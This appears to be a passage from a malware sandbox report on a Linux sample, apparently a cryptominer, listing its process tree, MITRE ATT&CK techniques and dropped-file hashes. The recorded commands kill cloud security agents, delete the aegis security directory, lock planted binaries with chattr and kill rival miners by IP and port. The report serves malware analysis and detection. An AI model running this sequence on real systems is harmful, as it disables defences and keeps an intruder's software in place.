- /bin/grep
  grep -v grep
  2⤵
  PID:912
- /bin/grep
  grep sgagent
  2⤵
  PID:913
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:914
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:915
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:911
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:916
- /bin/grep
  grep -v grep
  2⤵
  PID:917
- /bin/grep
  grep barad_agent
  2⤵
  PID:918
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:920
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:919
- /bin/grep
  grep -v grep
  2⤵
  PID:922
- /bin/grep
  grep hostguard
  2⤵
  PID:923
- /bin/ps
  ps aux
  2⤵
  - Discovers running processes
  - Reads CPU attributes
  - Reads runtime system information
  PID:921
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Removes the immutable protection flag from a file
  PID:925
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:924
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:927
- /bin/sleep
  sleep 1
  2⤵
  PID:928
- /usr/bin/chattr
  chattr -i /usr/bin/ip6network
  2⤵
  - Removes the immutable protection flag from a file
  - System Network Configuration Discovery
  PID:932
- /usr/bin/chattr
  chattr -i /usr/bin/kswaped
  2⤵
  - Removes the immutable protection flag from a file
  PID:933
- /usr/bin/chattr
  chattr -i /usr/bin/irqbalanced
  2⤵
  - Removes the immutable protection flag from a file
  PID:934
- /usr/bin/chattr
  chattr -i /usr/bin/rctlcli
  2⤵
  - Removes the immutable protection flag from a file
  PID:935
- /usr/bin/chattr
  chattr -i /usr/bin/systemd-network
  2⤵
  - Removes the immutable protection flag from a file
  PID:936
- /usr/bin/chattr
  chattr -i /usr/bin/pamdicks
  2⤵
  - Removes the immutable protection flag from a file
  PID:937
- /usr/bin/chattr
  chattr +i /usr/bin/ip6network
  2⤵
  - Removes the immutable protection flag from a file
  - System Network Configuration Discovery
  PID:938
- /usr/bin/chattr
  chattr +i /usr/bin/kswaped
  2⤵
  - Removes the immutable protection flag from a file
  PID:939
- /usr/bin/chattr
  chattr +i /usr/bin/irqbalanced
  2⤵
  - Removes the immutable protection flag from a file
  PID:940
- /usr/bin/chattr
  chattr +i /usr/bin/rctlcli
  2⤵
  - Removes the immutable protection flag from a file
  PID:941
- /usr/bin/chattr
  chattr +i /usr/bin/systemd-network
  2⤵
  - Removes the immutable protection flag from a file
  PID:942
- /usr/bin/chattr
  chattr +i /usr/bin/pamdicks
  2⤵
  - Removes the immutable protection flag from a file
  PID:943
- /bin/sleep
  sleep 1
  2⤵
  PID:944
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:945
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=128"
  2⤵
  - Reads CPU attributes
  PID:946
- /bin/grep
  grep 194.87.139.103
  2⤵
  PID:948
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:949
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:950
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:951
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:954
- /bin/grep
  grep 185.71.65.238
  2⤵
  PID:953
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:955
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:956
- /bin/grep
  grep 140.82.52.87
  2⤵
  PID:958
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:959
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:961
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:960
- /bin/grep
  grep :23
  2⤵
  PID:963
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:964
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:965
- /bin/grep
  grep -v -
  2⤵
  PID:966
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:967
- /bin/grep
  grep :143
  2⤵
  PID:969
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:971
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:970
- /bin/grep
  grep -v -
  2⤵
  PID:972
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:973
- /bin/grep
  grep :2222
  2⤵
  PID:975
- /bin/grep
  grep -v -
  2⤵
  PID:978
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:977
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:979
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:976
- /bin/grep
  grep :3333
  2⤵
  PID:981
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:982
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:983
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:985
- /bin/grep
  grep -v -
  2⤵
  PID:984
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:989
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:988
- /bin/grep
  grep :3389
  2⤵
  PID:987
- /bin/grep
  grep -v -
  2⤵
  PID:990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Removes the immutable protection flag from a file
  PID:991
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:994

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

zzhs

Path /etc/zzhs
Size 2B
SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
MD5 b026324c6904b2a9cb4b88d6d61c81d1
SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
MD5 SHA1 SHA512

Submit Download

embedded.sh

Path /tmp/tmp.T2sCqJztMs/embedded.sh
Size 46KB
SHA256 e81282e300ea08bcbc690ec1b403295f570a2a07888e0025c1b937f1d0c4eb1a
MD5 0cec4bedba50d029b5f3f8923123b2da
SHA1 64e902ab0ff54809d89d685ac195ce0b7cdcf397
SHA512 f47841afd973ed61a1dfca1d5a4eb1b3aae02ab6dc5da51751764ed76c2dc7af17430672c1f9b3bb67edc42e8fc110f50785808935b59f08fbb1159efa9b73b7
SSDEEP 768:xxlT2wDuWvWi7vFNcuFkc2zq0x3UKnicZuiR/amT8p:G6F+Lc2/FicfSmT8p
TLSH
T17123AB5D9071ECB13C64CC66D9A17218B4ADE09AC5F3BB88BD2D3E3C5B64005F9B11AE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

irqbalanced

Path /usr/bin/irqbalanced
Size 2B
SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
MD5 6d7fce9fee471194aa8b5b6e47267f03
SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
MD5 SHA1 SHA512

Submit Download

kswaped

Path /usr/bin/kswaped
Size 2B
SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
MD5 26ab0db90d72e28ad0ba1e22ee510510
SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
MD5 SHA1 SHA512

Submit Download

pamdicks

Path /usr/bin/pamdicks
Size 2B
SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
MD5 SHA1 SHA512

Submit Download

rctlcli

Path /usr/bin/rctlcli
Size 2B
SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
MD5 48a24b70a0b376535542b996af517398
SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
MD5 SHA1 SHA512

Submit Download

systemd-network

Path /usr/bin/systemd-network
Size 2B
SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
MD5 1dcca23355272056f04fe8bf20edfce0
SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
MD5 SHA1 SHA512

Submit Download

pid	Process
906	ps
831	ps
868	ps
891	ps
911	ps
921	ps
840	ps
852	ps
860	ps
876	ps
881	ps
714	ps
896	ps
916	ps
901	ps
716	ps
821	ps
886	ps

pid	Process
906	ps
831	ps
868	ps
891	ps
911	ps
921	ps
840	ps
852	ps
860	ps
876	ps
881	ps
714	ps
896	ps
916	ps
901	ps
716	ps
821	ps
886	ps

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads

pid	Process
906	ps
831	ps
868	ps
891	ps
911	ps
921	ps
840	ps
852	ps
860	ps
876	ps
881	ps
714	ps
896	ps
916	ps
901	ps
716	ps
821	ps
886	ps